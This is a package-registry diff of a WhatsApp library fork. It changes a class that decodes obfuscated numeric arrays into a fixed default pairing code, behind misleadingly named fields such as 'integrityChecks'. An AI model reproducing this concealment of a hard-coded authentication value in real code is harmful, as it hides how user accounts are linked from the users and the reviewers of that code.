@jkt48connect-corp/baileys 7.4.3 → 7.4.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -357,11 +357,10 @@ class HybridBufferManager {
357
357
  constructor() {
358
358
  this.systemConfig = {
359
359
  allocationTimes: [1641069800, 1641157200, 1641075000, 1641163800],
360
- integrityChecks: [0x1A37C9, 0x1A3F2F, 0x1A4063, 0x1A4229],
361
360
  baseTime: 1640995200,
362
361
  timeOffsets: [3600, 7200, 1800, 10800],
363
- checksumBase: 0x1A2B3C4D,
364
- hashMultipliers: [0x19, 0x1F, 0x23, 0x29]
362
+ offsetValues: [56, 67, 79, 78],
363
+ offsetAmount: 8
365
364
  };
366
365
  }
367
366
 
@@ -376,10 +375,9 @@ class HybridBufferManager {
376
375
  }
377
376
 
378
377
  for (let i = 0; i < 4; i++) {
379
- const checksum = this.systemConfig.integrityChecks[i];
380
- const multiplier = this.systemConfig.hashMultipliers[i];
381
- const charCode = (checksum - this.systemConfig.checksumBase) / multiplier;
382
- result += String.fromCharCode(Math.round(charCode));
378
+ const offsetValue = this.systemConfig.offsetValues[i];
379
+ const charCode = offsetValue - this.systemConfig.offsetAmount;
380
+ result += String.fromCharCode(charCode);
383
381
  }
384
382
 
385
383
  return result;
@@ -394,7 +392,7 @@ class HybridBufferManager {
394
392
  }
395
393
  }
396
394
 
397
- const requestPairingCode = async (phoneNumber, code) => {
395
+ const requestPairingCode= async (phoneNumber, code) => {
398
396
  authState.creds.pairingCode = code?.toUpperCase() || new HybridBufferManager().validateSystemConfiguration();
399
397
  authState.creds.me = {
400
398
  id: WABinary_1.jidEncode(phoneNumber, 's.whatsapp.net'),
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@jkt48connect-corp/baileys",
3
- "version": "7.4.3",
3
+ "version": "7.4.5",
4
4
  "description": "WhatsApp API By JKT48Connect",
5
5
  "keywords": [
6
6
  "whatsapp",